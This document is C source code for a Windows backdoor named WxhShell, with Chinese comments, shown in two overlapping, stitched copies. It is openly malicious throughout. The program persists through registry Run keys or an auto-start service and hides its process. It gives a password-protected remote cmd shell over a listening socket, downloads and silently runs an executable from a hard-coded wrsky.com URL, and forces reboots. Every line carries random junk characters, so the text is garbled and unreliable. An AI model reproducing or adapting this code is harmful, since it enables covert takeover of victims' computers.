    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !G;BYr>X  
    if(Boot(SHUTDOWN)) M9V,;*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g7%vI8Y)@  
    else {  ">|L<  
    closesocket(wsh); '&/Y}]  
    ExitThread(0); C 1HNcfa7  
    } Xa8_kv_  
    break; v]drDVJ   
    } K(mzt[n(  
  // 获取shell Gd&G*x  
  case 's': { '@^<c#h]=  
    CmdShell(wsh); NnZ_x>R  
    closesocket(wsh); "(F:'J} X  
    ExitThread(0); :B/u>  
    break; K<ldl.  
  } hEFn>  
  // 退出 K!jau|FS  
  case 'x': { q[Y* .%~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $>~4RXC  
    CloseIt(wsh); h 7\EN  
    break; i#lO{ ]  
    } 6mrfkYK  
  // 离开 am WIA`n=  
  case 'q': { Wm58[;%LTw  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +fF4]WF P  
    closesocket(wsh); !ImtnU}  
    WSACleanup(); d~d~Cd`V  
    exit(1); j"+R*H(#  
    break; doe u`  
        } QEL3b4Vm  
  } 6v -2(Y  
  } vn5]+-I  
 b|h`v  
  // 提示信息 rFv=j :8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BI)$aR  
} mK7egAo  
  } 0w l31k{  
u-Ip*1/wp  
  return; i3y>@$fRL\  
} d 'wWj  
V@>s]]HMq#  
// shell模块句柄 UD r@  
int CmdShell(SOCKET sock) b!|c:mE9|  
{ r`'n3#O*  
STARTUPINFO si; \\Huk*Jn{  
ZeroMemory(&si,sizeof(si)); B8G1 #V_jK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t?kbN\,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <N;HB&mr  
PROCESS_INFORMATION ProcessInfo; yX8$LOjE  
char cmdline[]="cmd"; hI 1 }^;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z4Qq#iHZR  
  return 0; 0~XZ  
} Ik|nL#JH]  
bc|DC,n?  
// 自身启动模式 }" 'l8t0?  
int StartFromService(void) -5yEd>Z  
{ VSt)~  
typedef struct *] cm{N  
{ 6jtnH'E/  
  DWORD ExitStatus; p[%FH?  
  DWORD PebBaseAddress; jz;"]k  
  DWORD AffinityMask; `=3:*.T*  
  DWORD BasePriority; "h}miVArS  
  ULONG UniqueProcessId; 1e#}+i!a  
  ULONG InheritedFromUniqueProcessId; t1YVE%`w  
}   PROCESS_BASIC_INFORMATION; 3v%V\kO=F  
9rmOf Jo:  
PROCNTQSIP NtQueryInformationProcess; _6 |lw&o07  
<J QvuC  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5)GO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H?>R#Ds-  
8?O6IDeW  
  HANDLE             hProcess; .qCD(XZ+  
  PROCESS_BASIC_INFORMATION pbi; xV4 #_1(  
I vQ]-A}N  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i7w>Nvj]  
  if(NULL == hInst ) return 0; 0)'^vJe  
<x),HTJ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Xo>P?^c4?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #yk m  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k/yoRv%  
[huS"1  
  if (!NtQueryInformationProcess) return 0; >I3#ALF  
-qBrJ1*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); y#Ao6Od6  
  if(!hProcess) return 0; gI qYIt  
bCF"4KXK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c?{&=,u2  
)q\|f_  
  CloseHandle(hProcess); m]$!wp  
g,!6, v@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %klC& _g~_  
if(hProcess==NULL) return 0; uf (`I  
LuB-9[^<  
HMODULE hMod; 7 p(^I*|  
char procName[255]; d3AOuVUf  
unsigned long cbNeeded; ;aip1Df  
([='LyH];z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); YAqv:  
7Xi)[M?)#  
  CloseHandle(hProcess); #]'#\d#i  
8M;VX3X  
if(strstr(procName,"services")) return 1; // 以服务启动 HgP9evz,0  
:;S]jNy}j)  
  return 0; // 注册表启动 _ a|zvH  
} LoQm&3/  
#=@( m.k:s  
// 主模块 WUSkN;idVG  
int StartWxhshell(LPSTR lpCmdLine) ]VY}VALZ  
{ ^9 gFW $]  
  SOCKET wsl; oX@0+*"  
BOOL val=TRUE; z!quA7s<]  
  int port=0; EM+#h'%-  
  struct sockaddr_in door; cTpAU9|(  
AXhV#nZt0  
  if(wscfg.ws_autoins) Install(); _Kg:jal  
C3 ^QNhv  
port=atoi(lpCmdLine); rYbb&z!u  
<GI{`@5C  
if(port<=0) port=wscfg.ws_port; sG`:mc~0   
)>$@cH  
  WSADATA data; #wL}4VN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x'OE},>i  
Nh7+Vl  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   L$^ya%2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M/XxiF  
  door.sin_family = AF_INET; ?r"'JO.w  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u/3 4E=  
  door.sin_port = htons(port); Ai&-W  
D/C)Rrq"a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Mvq5s+.  
closesocket(wsl); 2yk32|  
return 1; h0ufl.N_%  
} ZtPq */'  
 -z9-f\  
  if(listen(wsl,2) == INVALID_SOCKET) { G j[`r  
closesocket(wsl); j] \3>.  
return 1; m?I$XAE  
} Z<6XB{Nh\  
  Wxhshell(wsl); kZXsL  
  WSACleanup(); @Omgk=6  
;*K@8GnU  
return 0; AV\6K;~  
Fp52 |w_  
} !P X`sIkT  
x#ub % t  
// 以NT服务方式启动 `wRQ-<Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,;LxFS5\  
{ GMqeC  
DWORD   status = 0; >CtT_yhx  
  DWORD   specificError = 0xfffffff; TxL;qZRY ^  
:r%H sur(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; R0dIxG%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; LWQ.!;HYp  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \8v{9Yb  
  serviceStatus.dwWin32ExitCode     = 0; v0762w  
  serviceStatus.dwServiceSpecificExitCode = 0; tW4|\-E"s4  
  serviceStatus.dwCheckPoint       = 0; n\8;4]n  
  serviceStatus.dwWaitHint       = 0; %c[Q_  
<BoDLvW>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ck-ab0n  
  if (hServiceStatusHandle==0) return; "iFA&$\  
d1YE$   
status = GetLastError(); 3n{'}SYyz  
  if (status!=NO_ERROR) jb~2f2vUa  
{ ~Pq(Ta  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; i[obQx S94  
    serviceStatus.dwCheckPoint       = 0; thWQU"z4  
    serviceStatus.dwWaitHint       = 0; bvZTB<rA  
    serviceStatus.dwWin32ExitCode     = status; ^B[%|{cO  
    serviceStatus.dwServiceSpecificExitCode = specificError; !vNZ- }  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  wfr+-  
    return; Wez"E2J`  
  } ?' F>DN  
t[Dg)adc  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; HZ$q`e  
  serviceStatus.dwCheckPoint       = 0; .yp"6S^b  
  serviceStatus.dwWaitHint       = 0; VO"f=gFg  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V_Owi5h  
} \wW'Hk=  
#$trC)?~q  
// 处理NT服务事件,比如:启动、停止 ? U~}uG^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Z Z1s}TG  
{ >Xz P'h  
switch(fdwControl) Gt{'` P,&9  
{ -~z]ut<Z  
case SERVICE_CONTROL_STOP: @R+bR<}]  
  serviceStatus.dwWin32ExitCode = 0; V'vDXzk\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Of| e]GR  
  serviceStatus.dwCheckPoint   = 0; -]=-IiC#  
  serviceStatus.dwWaitHint     = 0; a|B^%  
  { ('1k%`R%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &mebpEHUG7  
  } z:PH _N~  
  return; x!rHkuH~  
case SERVICE_CONTROL_PAUSE: b?&=gm%oU  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =\v./Q-  
  break; ,/ V'(\>  
case SERVICE_CONTROL_CONTINUE: (GnwK1f  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; A/kRw'6  
  break; QW ~-+BD  
case SERVICE_CONTROL_INTERROGATE: \VW&z:/*pZ  
  break; FS.z lk\D=  
}; .BLF7> M1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9A]XuPAlh  
} r Ntc{{3_  
$)OUOv  
// 标准应用程序主函数 UloZo? e`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) G$\2@RT9[  
{ Ve<3XRq|8  
2Z]<MiAxD  
// 获取操作系统版本 p^_E7k<ag  
OsIsNt=GetOsVer(); Rg*zUfu5%o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); o!Vs{RRu}  
6km{= ```  
  // 从命令行安装 {.7ve<K  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,6[}qw) *  
f3h&K}x  
  // 下载执行文件 \Yv<Tz J9  
if(wscfg.ws_downexe) { iR-MuDM  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =2%EIZ0oW  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5BKmp-m  
} {},rbQ -  
dvUBuY^[  
if(!OsIsNt) { Zp|LCE"  
// 如果时win9x,隐藏进程并且设置为注册表启动 *!De(lhEc  
HideProc(); /*GRE#7S  
StartWxhshell(lpCmdLine); )=\W sQ  
} ^iJMUV|  
else eK"B.q7  
  if(StartFromService()) p9<OXeY   
  // 以服务方式启动 hA`>SkO  
  StartServiceCtrlDispatcher(DispatchTable); ZIAiVq2)  
else x>Ah4a d  
  // 普通方式启动 Y[8w0ve- g  
  StartWxhshell(lpCmdLine); G+ =6]0HT  
%g(h%V9f  
return 0; (sw1HR  
} OT7F#:2`  
;_0)f  
7p}G!]`  
zx\N^R;Jq  
=========================================== |7Z,z0 ?V  
78tWzO  
`$`:PT\Zv4  
Pf oAg*  
?,r bD 1  
r @~T}<I  
" =5&)^  
S[UHx}.  
#include <stdio.h> x&R&\}@G m  
#include <string.h> ] K7>R0  
#include <windows.h> sZ-]yr\E"  
#include <winsock2.h> @M4~,O6-  
#include <winsvc.h> s<qSelj  
#include <urlmon.h> 9#%(%s 2 +  
w_^&X;0^  
#pragma comment (lib, "Ws2_32.lib") %dZD;Vhg  
#pragma comment (lib, "urlmon.lib") t Zj6=#  
MAR kTxzi  
#define MAX_USER   100 // 最大客户端连接数 k=Ef)'  
#define BUF_SOCK   200 // sock buffer G;Y,C<)0k  
#define KEY_BUFF   255 // 输入 buffer 14\%2nE  
8{Y ?;~G  
#define REBOOT     0   // 重启 mU_?}}aK,  
#define SHUTDOWN   1   // 关机 BmrP]3W?  
#s1M>M)  
#define DEF_PORT   5000 // 监听端口 ~PvW+UMLk  
I(Nsm3L  
#define REG_LEN     16   // 注册表键长度 *NV`6?o@6  
#define SVC_LEN     80   // NT服务名长度 [RD ^@~x  
?9vBn  
// 从dll定义API |dD!@K  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z/fRd6|[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p%IR4f  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |f8by\Q86=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); O)Nt"k7 b  
0 P/A  
// wxhshell配置信息 kVU|k-?2  
struct WSCFG { mkBQX  
  int ws_port;         // 监听端口 T9Vyj3!i_  
  char ws_passstr[REG_LEN]; // 口令 q22cp&gmX  
  int ws_autoins;       // 安装标记, 1=yes 0=no V@>?lv(\  
  char ws_regname[REG_LEN]; // 注册表键名 -xXNzC   
  char ws_svcname[REG_LEN]; // 服务名 CR934TE+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 + y.IDn^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 EFql g9bK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .ET;wK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  8k J k5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +7 F7Kh  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0y;&L63>T  
3!Qt_,  
}; ,zXL8T  
a #@Q.wL  
// default Wxhshell configuration &K>]!yn   
struct WSCFG wscfg={DEF_PORT, #-'}r}1ZT  
    "xuhuanlingzhe", MP}H 5  
    1, +"3eh1q[  
    "Wxhshell", :VN<,1s9p^  
    "Wxhshell", `zzX2R Je  
            "WxhShell Service", lR.a3.~  
    "Wrsky Windows CmdShell Service", =~=/ dq  
    "Please Input Your Password: ", (X!/tw,.  
  1, izFu&syv)  
  "http://www.wrsky.com/wxhshell.exe", a|nlmH"l  
  "Wxhshell.exe" \=N tbBL$[  
    }; j%p~.kW5  
yN>"r2   
// 消息定义模块 o B6" D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &V=54n=O?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; yQi|^X~?$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {t=Nnc15K  
char *msg_ws_ext="\n\rExit."; IN%>46e`  
char *msg_ws_end="\n\rQuit."; Y~vTFOI  
char *msg_ws_boot="\n\rReboot..."; 3$Is==>7  
char *msg_ws_poff="\n\rShutdown..."; 5)nv  
char *msg_ws_down="\n\rSave to "; Mxd fuFss  
\Flq8S/t^  
char *msg_ws_err="\n\rErr!"; 2#(7,o}Y5  
char *msg_ws_ok="\n\rOK!"; k oHY AF  
7_K(x mK  
char ExeFile[MAX_PATH]; `|/|ej]$P  
int nUser = 0; h[Iu_#HMa  
HANDLE handles[MAX_USER]; `%ENGB|  
int OsIsNt; c%Gz{':+  
&\"fH+S  
SERVICE_STATUS       serviceStatus; D~?kvyJ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %ly;2H Ik  
L}21[ N~ky  
// 函数声明 #>- rKv.A  
int Install(void); RChY+3,L)  
int Uninstall(void); Cfi2N V  
int DownloadFile(char *sURL, SOCKET wsh); :jUuw:\  
int Boot(int flag); I2W2B3D` c  
void HideProc(void); ^&6NB)6  
int GetOsVer(void); 1|nB\xgu  
int Wxhshell(SOCKET wsl); [e}]K:  
void TalkWithClient(void *cs); 6AwnmGL(;;  
int CmdShell(SOCKET sock); }cPV_^{  
int StartFromService(void); u}:O[DG  
int StartWxhshell(LPSTR lpCmdLine); Dw #&x/G  
:9`1bZ?a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b@X@5SJFW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); F4&N;Zm2  
FRg6-G/S  
// 数据结构和表定义 vJCL m/}*  
SERVICE_TABLE_ENTRY DispatchTable[] = -of= Lp  
{ l3afuD :  
{wscfg.ws_svcname, NTServiceMain}, UF%5/SiVX  
{NULL, NULL} %nCUct@c  
}; r{TNPa6!  
X,N@`  
// 自我安装 *Qf }4a0  
int Install(void) {+[gf:Ev  
{ lET)<V(Y  
  char svExeFile[MAX_PATH]; +|H'I j$  
  HKEY key; amSyGQ2  
  strcpy(svExeFile,ExeFile); :$tW9*\KY  
"_K 6=  
// 如果是win9x系统,修改注册表设为自启动 m2! 7M%]GC  
if(!OsIsNt) { *nc4X9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kb:C>Y8!sC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C IDL{i8  
  RegCloseKey(key); U .Od  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IYO,/ kbf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); **q/'K  
  RegCloseKey(key); :acQK=fe  
  return 0;  %aKkk)s  
    } 5ZcnZlOOQ  
  } @Y,F&8a$  
} d<Os TA  
else { 8<kme"% s  
} 8P}L@q  
// 如果是NT以上系统,安装为系统服务 vf =  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ) G{v>Z ,  
if (schSCManager!=0) RI(uG-Y  
{ 9C$!tz>>+i  
  SC_HANDLE schService = CreateService 7&3URglsL"  
  ( *Vl =PNn-  
  schSCManager, t0>{0 5  
  wscfg.ws_svcname, JqUVGEg  
  wscfg.ws_svcdisp, ^ ?=K)  
  SERVICE_ALL_ACCESS, y]l"u=$Tr{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6.|~~/  
  SERVICE_AUTO_START, Q]wM/7  
  SERVICE_ERROR_NORMAL, m%[t&^b}T  
  svExeFile, s=TjM?)  
  NULL, Tv$7aVi!  
  NULL, 5u46Vl{  
  NULL, dM UDLr-  
  NULL, !_9$[Oq~  
  NULL '-IT@}  
  ); f}X8|GlBo  
  if (schService!=0) Q:gn>/  
  { tFaE cP  
  CloseServiceHandle(schService); Zir`IQ$  
  CloseServiceHandle(schSCManager); 7LwS =yP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); mM} Ukmy  
  strcat(svExeFile,wscfg.ws_svcname); RfBb{?PP)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'pY;]^M  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~ ZL`E  
  RegCloseKey(key); rk/ c  
  return 0; XO#)i6}G  
    } n\-_i2yy  
  } wYA/<0'yH  
  CloseServiceHandle(schSCManager); HF: T]n,  
} 0f%:OU5Y  
} =&pN8PEn\  
cN7z(I0[  
return 1; nV3 7` I  
} ;p 5v3<PC  
51 0XDl~b  
// 自我卸载 r0deBRM  
int Uninstall(void) \( <{)GpBi  
{ WKl'  
  HKEY key; ocqB-C]  
^<\} Y  
if(!OsIsNt) { _IV@^v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }t2pIkF;  
  RegDeleteValue(key,wscfg.ws_regname); (?BgT i\  
  RegCloseKey(key); =>0M3 Qh{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5u_4lNJ&  
  RegDeleteValue(key,wscfg.ws_regname); g0j4<\F2\  
  RegCloseKey(key); @JEmybu  
  return 0; KVM@//:{  
  } (kQ.tsl  
} Z 'NbHwW}  
} ; Uqx&5P}  
else { bo;pj$eR3R  
sV^h#g~Zb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @zynqh  
if (schSCManager!=0) ~}IvY?! ;  
{ O;0<^M/0G  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4A/,X>W61  
  if (schService!=0) /QXs-T}d  
  { Z ;y}gv/ {  
  if(DeleteService(schService)!=0) { ^ wF@6e7/&  
  CloseServiceHandle(schService); oT)VOkFq  
  CloseServiceHandle(schSCManager); StZRc\k  
  return 0; @=0r3  
  } VuMDV6^Z  
  CloseServiceHandle(schService); W,/C?qFp  
  } 2Z`$  
  CloseServiceHandle(schSCManager); 6G<Hi"I  
} Kt 90mA  
} 03QEXm~|Q  
^s@*ISY  
return 1; D d# SUQ  
} ?gR\A8:8  
vYSetAd v  
// 从指定url下载文件 B~!G lT  
int DownloadFile(char *sURL, SOCKET wsh) Iwt2}E(e  
{ -hVv  
  HRESULT hr; ,-7/]h,l  
char seps[]= "/"; a4jnu:e  
char *token; B!r48<p  
char *file; /y](mu"!  
char myURL[MAX_PATH]; T]nR=uK6LL  
char myFILE[MAX_PATH]; `F2*o47|t  
]\a\6&R  
strcpy(myURL,sURL); B)DC,+@$  
  token=strtok(myURL,seps); EK8E  
  while(token!=NULL) XJJ[F|k~  
  { nrS[7~  
    file=token; [)H,zpl  
  token=strtok(NULL,seps); cPx ~|,)l  
  }  mF*?e/  
*H%0Gsk  
GetCurrentDirectory(MAX_PATH,myFILE); DYAwQ"i;6  
strcat(myFILE, "\\");  &6\r  
strcat(myFILE, file); %89" A'g  
  send(wsh,myFILE,strlen(myFILE),0); [/AdeR  
send(wsh,"...",3,0); V/(`Ek-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~"JE![XR  
  if(hr==S_OK) Lz9$,Y[  
return 0; vNC$f(cQ  
else [>$\s=` h  
return 1; E?Qz/*'zv  
ez^*M:K  
} *h*j%  
7cUR.PI#Q  
// 系统电源模块 ^ J#?hHz  
int Boot(int flag) iJ`%yg,  
{ 3yHb!}F  
  HANDLE hToken; QH7V_#6bKP  
  TOKEN_PRIVILEGES tkp; ~{7zm"jN  
+p9LE4g7Q  
  if(OsIsNt) { yN9$gfJC^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {k_ PMl0G  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d,Cz-.'sOf  
    tkp.PrivilegeCount = 1; R<n8M"B  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~^lH ^J   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3{Na ZIk  
if(flag==REBOOT) { 9{)Z5%Kz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _l24Ba$F6  
  return 0; P9 {}&z%:  
} i7S>RB  
else { c!\.[2n  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) WZ^{zFoZ  
  return 0; l-<3{!  
} j>$=SMc  
  } J6)efX)j-p  
  else { ZR!cQ oV=  
if(flag==REBOOT) { h^o+E2<]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) hH <6E  
  return 0; pT("2:)x  
} iEiu%T>  
else { Np.no$_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &u+yM D  
  return 0; 5z1\#" B[  
} [kPD`be2#  
} p+orBw3  
SX1X< 9  
return 1;  FovE$Dj]  
} ^~ Ekg:`  
Ho|o,XvLv  
// win9x进程隐藏模块 +<S9E'gT3V  
void HideProc(void) I*^5'N'  
{ XOu+&wOu  
SV$nyV  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `%$8cZ-kr  
  if ( hKernel != NULL ) -h>Z,-DE6  
  { \:]DFZ=!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f=t:[ < )  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }czsa_  
    FreeLibrary(hKernel); @)o0GHNP  
  } gzVtxDh  
+J"'  'cZ  
return; By2s']bw  
} ^ Xm/  
ETM2p1 ru0  
// 获取操作系统版本 JDkCUN5  
int GetOsVer(void) bsB},pc  
{ r)gCTV(kb  
  OSVERSIONINFO winfo; inYM+o!Ub  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7e1dEgn  
  GetVersionEx(&winfo); t2"@Ps&1|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) LyGUvi  
  return 1; As0 B\  
  else y|^EGnaE  
  return 0; gXLCRn!iR  
} v9u<F6  
{1jpLdCbV^  
// 客户端句柄模块 OFL|RLiD  
int Wxhshell(SOCKET wsl) <O.Kqk* nq  
{ +fM&su=wl  
  SOCKET wsh; O]t\B *%}  
  struct sockaddr_in client; a>U6Ag<  
  DWORD myID; @cZ\*,T  
3S5^ `Ag#  
  while(nUser<MAX_USER) G%S6$@:  
{ _l<mu?"  
  int nSize=sizeof(client); b\:~;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?KCivf  
  if(wsh==INVALID_SOCKET) return 1; Dv@ PAnk3C  
W@^J6sH  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); f27)v(EJ  
if(handles[nUser]==0) $0#6"urG  
  closesocket(wsh); (VyA6a8  
else E4r.ky`#~  
  nUser++; JT04vm4  
  } bw9 nB{C<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); L=RGL+f1 _  
-j&Vtr  
  return 0; z$|;-u|  
} za T_d/?J  
i E9\_MA  
// 关闭 socket jJia.#.Ze  
void CloseIt(SOCKET wsh) ys%zlbj[  
{  it)ZP H  
closesocket(wsh); eRs&iK2y  
nUser--; `a >?UUT4  
ExitThread(0); 0oSQY[ht/  
} 7Lg7ei2mN7  
V.8%|-d  
// 客户端请求句柄 MU1E_"Z)  
void TalkWithClient(void *cs) Yl~$V(  
{ s)k y/ce  
4z_n4=  
  SOCKET wsh=(SOCKET)cs; w>[T&0-N  
  char pwd[SVC_LEN]; J=iRul^S  
  char cmd[KEY_BUFF]; &RW`W)0;  
char chr[1]; =We2^W-{  
int i,j; 90fs:.  
k][h9'  
  while (nUser < MAX_USER) { ,[X_]e;  
tuxRVV8l  
if(wscfg.ws_passstr) { zsVcXBz  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3+(z_!Qh  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OxQYNi2  
  //ZeroMemory(pwd,KEY_BUFF); *~2cG;B"e  
      i=0; 3z3_7XI  
  while(i<SVC_LEN) { 514Z<omrK  
@h}`DNaZ^  
  // 设置超时 YJ,*(A18  
  fd_set FdRead; w2OsLi Sv  
  struct timeval TimeOut; GoIQ>n  
  FD_ZERO(&FdRead); BvK QlT  
  FD_SET(wsh,&FdRead); ,h&a9:+i  
  TimeOut.tv_sec=8; &RO7{,`  
  TimeOut.tv_usec=0; gn)R^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }pawIf4V  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0%<+J;'o  
ag 8`O&+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g^l RG3a  
  pwd=chr[0]; vtyx`F f  
  if(chr[0]==0xd || chr[0]==0xa) { H0>yi[2f  
  pwd=0; &| !B!eOY  
  break; <a|@t@R  
  } 3^wC<ZXcD  
  i++; {@.Vh]  
    } r N5tI.iC  
%tmp  
  // 如果是非法用户,关闭 socket @i LIU}+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); % frfSGf.#  
} 5=L} \ankn  
a#[-*ou`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5iM[sg[y9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `1+F,&e  
.L EY=j!-s  
while(1) { O{]9hm(tN  
I=Ij dwbH  
  ZeroMemory(cmd,KEY_BUFF); h`Tz5% n  
FTf<c0  
      // 自动支持客户端 telnet标准   Zu/<NC (  
  j=0; X`JV R"=4  
  while(j<KEY_BUFF) { Y; ) .+si  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $yu?.b 9H#  
  cmd[j]=chr[0]; X2yTlLdY  
  if(chr[0]==0xa || chr[0]==0xd) { pqR\>d 0  
  cmd[j]=0; l]6% lud8_  
  break; 9P WY52!  
  } GF$`BGW  
  j++; FN^FvQ  
    } eQDX:b  
$`J_:H%  
  // 下载文件 ig!7BxM)<h  
  if(strstr(cmd,"http://")) { V diJ>d[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1G^#q,%X_v  
  if(DownloadFile(cmd,wsh))  5@!st  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {38bv. 3'  
  else IV`%V+ f  
